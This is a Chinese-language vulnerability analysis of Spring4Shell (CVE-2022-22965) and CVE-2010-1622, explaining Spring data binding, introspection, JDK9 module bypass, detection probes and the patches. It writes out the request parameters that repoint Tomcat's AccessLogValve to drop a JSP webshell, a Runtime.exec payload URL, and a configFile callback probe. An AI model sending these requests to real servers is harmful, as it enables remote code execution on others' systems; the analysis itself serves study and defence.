前言
这个洞爆发的第二天,在拿到exp并复现成功后,其实心里是想着趁热度发一下文章的,但完完整整跟进完这个漏洞后,我发现我也只是停留在 复现 的层面上,这也让我思考一个问题,写一篇漏洞分析的文章,需要具备怎样的素养?
虽然作为初学者,所谓漏洞分析大多都是站在前人的肩膀上,不过还是希望可以写出一些自己的东西,踩的坑也好一些无关痛痒的理解也罢。希望读完这篇文章,你可以基本上解答以下几个问题:
- 为什么版本需要JDK9及以上,而JDK8不行?
- 为什么是需要Spring tomcat war部署方式,Springboot jar会受影响吗?
- 漏洞的影响面和利用方式是什么,新的PATCH又是如何修复的?
带着这三个问题,让我们走进spring4shell。
JavaBean与SpringBean
什么是JavaBean呢?
JavaBean在语法上和类没有区别,其内部没有特定的功能方法,主要包含信息字段和存储方法,如果一个类遵从了以下JavaBean的标准,那么它就是一个JavaBean:
- 所有属性为
private
。 - 类声明为
public
,提供默认的无参构造方法。 - 提供
setter&getter
方法,让外部可以设置&获取
JavaBean的属性。
同时,JavaBean对其方法和属性的命名有一定要求,去掉setter&getter
方法的前缀,剩下部分就是属性名(小写)。
在idea中就支持自动根据属性填充setter&getter
,实现一个简单的JavaBean。
如果你之前对SpringMVC没有任何了解的话,建议手动搭建一下相关环境,在这个控制器里我们就通过JavaBean接收请求参数:
@RequestMapping(value = "/login5")
public String login5(User user, Model model){
model.addAttribute("name",user.getUsername());
return "login";
}
发送以下请求:
可以看到SpringMVC自动把GET传入的参数注入到了bean对象中。
对命名规则有如此要求的好处在于,当一个类被当作JavaBean使用时,即使其内部私有属性无法被访问,也可以通过方法名推断出来,那么 就可以通过反射自动注入到其属性中 。
Java 核心库提供的Introspector
就可以获取一个JavaBean的所有属性以及对应属性的读写方法,也称为内省。
public class Test {
public static void main(String[] args) throws Exception {
BeanInfo info = Introspector.getBeanInfo(User.class);
for (PropertyDescriptor pd : info.getPropertyDescriptors()) {
System.out.println("[Property]"+pd.getName());
System.out.println(" [ReadMethod]" + pd.getReadMethod());
System.out.println(" [WriteMethod]" + pd.getWriteMethod());
}
}
public class User {
private String username;
private String password;
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return password;
}
public void setPassword(String password) {
this.password = password;
}
}
}
在输出的结果中,后两者是我们预想范围内的,但是这个class属性是怎么来的呢?
原因在于在Java中,所有类都会继承于Object
类,而在Object
中又存在getClass()
方法,由于内省机制就会认为存在一个class属性。
可以拿到class属性,不过好在class属性并没有WriteMethod
,即没有set方法去设置其值,所以这也不算是一个严峻的问题。
走到这,我们有必要走进SpringMVC数据绑定的步骤,在上述的参数绑定过程,主要发生在下图的第五步中。
我们不一一展开调用链,挑几个关键类、方法分析:
org.springframework.beans.AbstractNestablePropertyAccessor
JavaBean的核心处理抽象类,包含set、get等处理逻辑实现以及 嵌套属性 的处理。
从这个方法所引申的几个方法主要是解决了递归调用的问题,比如如果我在java中想调用user.getInfo().getAge()
,那么传入的参数就为user.info.age
,在解析流程中会对.
进行了分割识别,并递归返回调用对象。
org.springframework.beans.CachedIntrospectionResults
:
缓存了JavaBean的信息,之后需要使用可以直接从这获取。内部使用了Introspector.getBeanInfo(beanClass)
进行了存储,这我们可不陌生,也正是因为缓存的存在,在上述例子中即使 info,age都是私有属性,我们也可以通过内省机制访问到。
org.springframework.beans.BeanWrapperImpl
:
BeanWrapper
接口的实现类和抽象类AbstractNestablePropertyAccessor
的子类,其对JavaBean进行了封装,其setValue
方法通过反射完成了最终的属性注入。
总结以上三点,目前我们得知的内容为:
CachedIntrospectionResults
缓存中使用Introspector.getBeanInfo(beanClass)
进行了存储,使得我们可以通过内省机制访问私有属性,并且由于类继承我们可以拿到class属性。AbstractNestablePropertyAccessor
中可递归处理请求,和内省机制结合可越过前面不存在set方法的属性。BeanWrapperImpl.setValue()
可通过反射对一个存在set方法的属性设置其值。
其实现在,我们的意图已经很明显了,即使class属性不存在WriteMethod
,我们也可以通过内省和递归调用的机制,从class属性一路延伸,通过class.xxx.xxx.xxx
,找到一个可以利用的属性。
CVE-2010-1622是如何做的?
在CachedIntrospectionResults
的构造方法中,有一个很明显的黑名单:
相当于如果调用class.classLoader
则会被直接拦截。
这也拉开了CVE-2022-22965的前身的序幕:CVE-2010-1622 SpringMVC框架任意代码执行漏洞。
我们把目光放在12年前,classLoader还没有放入黑名单,我们是如何利用的:
class.classLoader.resources.context.parent.pipeline.first
其中:
context
对应StandardContext
parent
对应StandardHost
pipeline
对应StandardPipeline
first
对应AccessLogValve
在org.apache.catalina.valves.AccessLogValve
中,我们可以找到许多存在set方法的属性:
public class Test {
public static void main(String[] args) throws Exception {
BeanInfo info = Introspector.getBeanInfo(AccessLogValve.class);
for (PropertyDescriptor pd : info.getPropertyDescriptors()) {
System.out.println("[Property]"+pd.getName());
System.out.println(" [ReadMethod]" + pd.getReadMethod());
System.out.println(" [WriteMethod]" + pd.getWriteMethod());
}
}
//输出:
[Property]asyncSupported
[ReadMethod]public boolean org.apache.catalina.valves.ValveBase.isAsyncSupported()
[WriteMethod]public void org.apache.catalina.valves.ValveBase.setAsyncSupported(boolean)
[Property]buffered
[ReadMethod]public boolean org.apache.catalina.valves.AccessLogValve.isBuffered()
[WriteMethod]public void org.apache.catalina.valves.AccessLogValve.setBuffered(boolean)
[Property]checkExists
[ReadMethod]public boolean org.apache.catalina.valves.AccessLogValve.isCheckExists()
[WriteMethod]public void org.apache.catalina.valves.AccessLogValve.setCheckExists(boolean)
[Property]class
[ReadMethod]public final native java.lang.Class java.lang.Object.getClass()
[WriteMethod]null
[Property]condition
[ReadMethod]public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getCondition()
[WriteMethod]public void org.apache.catalina.valves.AbstractAccessLogValve.setCondition(java.lang.String)
[Property]conditionIf
[ReadMethod]public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionIf()
[WriteMethod]public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionIf(java.lang.String)
[Property]conditionUnless
[ReadMethod]public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getConditionUnless()
[WriteMethod]public void org.apache.catalina.valves.AbstractAccessLogValve.setConditionUnless(java.lang.String)
[Property]container
[ReadMethod]public org.apache.catalina.Container org.apache.catalina.valves.ValveBase.getContainer()
[WriteMethod]public void org.apache.catalina.valves.ValveBase.setContainer(org.apache.catalina.Container)
[Property]directory
[ReadMethod]public java.lang.String org.apache.catalina.valves.AccessLogValve.getDirectory()
[WriteMethod]public void org.apache.catalina.valves.AccessLogValve.setDirectory(java.lang.String)
[Property]domain
[ReadMethod]public final java.lang.String org.apache.catalina.util.LifecycleMBeanBase.getDomain()
[WriteMethod]public final void org.apache.catalina.util.LifecycleMBeanBase.setDomain(java.lang.String)
[Property]domainInternal
[ReadMethod]public java.lang.String org.apache.catalina.valves.ValveBase.getDomainInternal()
[WriteMethod]null
[Property]enabled
[ReadMethod]public boolean org.apache.catalina.valves.AbstractAccessLogValve.getEnabled()
[WriteMethod]public void org.apache.catalina.valves.AbstractAccessLogValve.setEnabled(boolean)
[Property]encoding
[ReadMethod]public java.lang.String org.apache.catalina.valves.AccessLogValve.getEncoding()
[WriteMethod]public void org.apache.catalina.valves.AccessLogValve.setEncoding(java.lang.String)
[Property]fileDateFormat
[ReadMethod]public java.lang.String org.apache.catalina.valves.AccessLogValve.getFileDateFormat()
[WriteMethod]public void org.apache.catalina.valves.AccessLogValve.setFileDateFormat(java.lang.String)
[Property]ipv6Canonical
[ReadMethod]public boolean org.apache.catalina.valves.AbstractAccessLogValve.getIpv6Canonical()
[WriteMethod]public void org.apache.catalina.valves.AbstractAccessLogValve.setIpv6Canonical(boolean)
[Property]locale
[ReadMethod]public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getLocale()
[WriteMethod]public void org.apache.catalina.valves.AbstractAccessLogValve.setLocale(java.lang.String)
[Property]maxDays
[ReadMethod]public int org.apache.catalina.valves.AccessLogValve.getMaxDays()
[WriteMethod]public void org.apache.catalina.valves.AccessLogValve.setMaxDays(int)
[Property]maxLogMessageBufferSize
[ReadMethod]public int org.apache.catalina.valves.AbstractAccessLogValve.getMaxLogMessageBufferSize()
[WriteMethod]public void org.apache.catalina.valves.AbstractAccessLogValve.setMaxLogMessageBufferSize(int)
[Property]next
[ReadMethod]public org.apache.catalina.Valve org.apache.catalina.valves.ValveBase.getNext()
[WriteMethod]public void org.apache.catalina.valves.ValveBase.setNext(org.apache.catalina.Valve)
[Property]objectName
[ReadMethod]public final javax.management.ObjectName org.apache.catalina.util.LifecycleMBeanBase.getObjectName()
[WriteMethod]null
[Property]objectNameKeyProperties
[ReadMethod]public java.lang.String org.apache.catalina.valves.ValveBase.getObjectNameKeyProperties()
[WriteMethod]null
[Property]pattern
[ReadMethod]public java.lang.String org.apache.catalina.valves.AbstractAccessLogValve.getPattern()
[WriteMethod]public void org.apache.catalina.valves.AbstractAccessLogValve.setPattern(java.lang.String)
[Property]prefix
[ReadMethod]public java.lang.String org.apache.catalina.valves.AccessLogValve.getPrefix()
[WriteMethod]public void org.apache.catalina.valves.AccessLogValve.setPrefix(java.lang.String)
[Property]renameOnRotate
[ReadMethod]public boolean org.apache.catalina.valves.AccessLogValve.isRenameOnRotate()
[WriteMethod]public void org.apache.catalina.valves.AccessLogValve.setRenameOnRotate(boolean)
[Property]requestAttributesEnabled
[ReadMethod]public boolean org.apache.catalina.valves.AbstractAccessLogValve.getRequestAttributesEnabled()
[WriteMethod]public void org.apache.catalina.valves.AbstractAccessLogValve.setRequestAttributesEnabled(boolean)
[Property]rotatable
[ReadMethod]public boolean org.apache.catalina.valves.AccessLogValve.isRotatable()
[WriteMethod]public void org.apache.catalina.valves.AccessLogValve.setRotatable(boolean)
[Property]state
[ReadMethod]public org.apache.catalina.LifecycleState org.apache.catalina.util.LifecycleBase.getState()
[WriteMethod]null
[Property]stateName
[ReadMethod]public java.lang.String org.apache.catalina.util.LifecycleBase.getStateName()
[WriteMethod]null
[Property]suffix
[ReadMethod]public java.lang.String org.apache.catalina.valves.AccessLogValve.getSuffix()
[WriteMethod]public void org.apache.catalina.valves.AccessLogValve.setSuffix(java.lang.String)
[Property]throwOnFailure
[ReadMethod]public boolean org.apache.catalina.util.LifecycleBase.getThrowOnFailure()
[WriteMethod]public void org.apache.catalina.util.LifecycleBase.setThrowOnFailure(boolean)
从类名得知我们可以通过修改访问成功的日志文件,来写入jsp。
默认的配置为:
class.classLoader.resources.context.parent.pipeline.first.directory =logs
class.classLoader.resources.context.parent.pipeline.first.prefix =localhost_access_log
class.classLoader.resources.context.parent.pipeline.first.suffix = .txt
class.classLoader.resources.context.parent.pipeline.first.fileDateFormat =.yyyy-mm-dd
我们可以修改为:
class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
这有点像phpmyadmin通过日志文件写马的思路,不过日志文件rce都大同小异。
这样随意访问/?a=<%Runtime.getRuntime().exec("open -a Calculator");%>
即可写入恶意语句。
为何需要JDK9?
至此,其实答案也算比较明了了,CVE-2010-1622后Spring采用了黑名单限制了class.classLoader
,而JDK9引入了 Module 机制,可以通过class.module.classLoader
绕过黑名单,CVE-2022-22965 本质上就是 CVE-2010-1622上 的一个绕过。
Array.set 的一个误区
在不少的文章中,都有谈到如果需要set的属性是array类型,会有意想不到的效果。
我们模拟一下以下场景,给User
类多加了一个age属性,但是并没有设置其set方法。
@RequestMapping(value = "/login5")
public String login5(User user, Model model){
model.addAttribute("name",user.getUsername());
System.out.println(user.getAge());
return "login";
}
...
public class User {
private String username;
private String password;
private int age;
public int getAge() {
return age;
}
...
}
发送请求http://localhost:8080/login5?username=theoyu&age=10
,终端不出意外的打印了0。
我们改写一下属性,增添一个数组类型ages,同样不设置set方法:
@RequestMapping(value = "/login5")
public String login5(User user, Model model){
model.addAttribute("name",user.getUsername());
System.out.println(user.getAges()[0]);
return "login";
}
...
public class User {
private String username;
private String password;
private int[] ages = {0};
public int[] getAges() {
return ages;
}
...
}
发送请求http://localhost:8080/login5?username=theoyu&ages[0]=10
,
我们会发现终端居然输出了10!这和我们之前所想的不一样,没有set方法居然也可以绑定私有属性的值。
具体位置在:AbstractNestablePropertyAccessor.processKeyedProperty
实际上除了Array类型,Map、Set类型也同样可以直接赋值:
我认为这应该只是对特定类型的一种补充,但有不少文章都把这个特性纳入到了最后的属性注入上去,这是我不太能理解的点,因为目前来看我们利用的属性还没有需要用到这个特性的。
单应用启动会受影响吗?
下图为tomcat war包启动,获取到的classLoader:WebappClassLoader
下图为单应用(springboot jar)启动,获取到的classLoader:JDK自带的AppClassLoader
两者的差别在于获取到classLoader的后利用上,WebappClassLoader采用了类隔离机制(之前RASP这块踩了好多坑),拥有更多的属性,所以只是在拓展面上有所差异,不过我们目前所已知的利用方法都是在WebappClassLoader上。
无害探测
如果我们想写一个poc,批量验证漏洞,该怎么做呢?
当然可以直接用现有exp的方式,日志写马。
但是作为 Proof Of Concept,我们还是希望把侵入性化为最小,这样来看修改日志文件肯定不合适,而且这样甚至有可能会把业务打崩,我们需要从其他属性入手。
class.module.classLoader.DefaultAssertionStatus
:
该属性的set方法传参为bool类型,如果传入0、1正常,其他字符返回400,可作为判断依据。
class.module.classLoader.DefaultAssertionStatus=0
class.module.classLoader.DefaultAssertionStatus=x
这样我们可以通过发两次包,从两次的返回状态码进行判断。
class.module.classLoader.resources.context.configFile
位于org.apache.catalina.core.StandardContext
的configFile
属性为URL类型, 默认为file协议,访问缓存在本地的xml文件,可修改为http协议达到反连检测的目的。
http://localhost:8080/login5?username=theoyu&class.module.classLoader.resources.context.configFile=http://127.0.0.1:20022&class.module.classLoader.resources.context.configFile.content.config=config.conf
以上两种方法均已添加至 Gopo的YAML规则。
漏洞修复
和 CVE-2010-1622 漏洞一样,Spring官方和Tomcat都对这个漏洞进行了修复。
Spring官方做了两点限制,一是把黑名单改为了白名单:要求pd.getName
必须是以『Name』结尾,而是返回的类型不能为classLoader
类型。
Tomcat则直接把获取resources的方法给改成了return null
。
如果还想进一步绕过的话,可以通过 … 如果我知道的话 …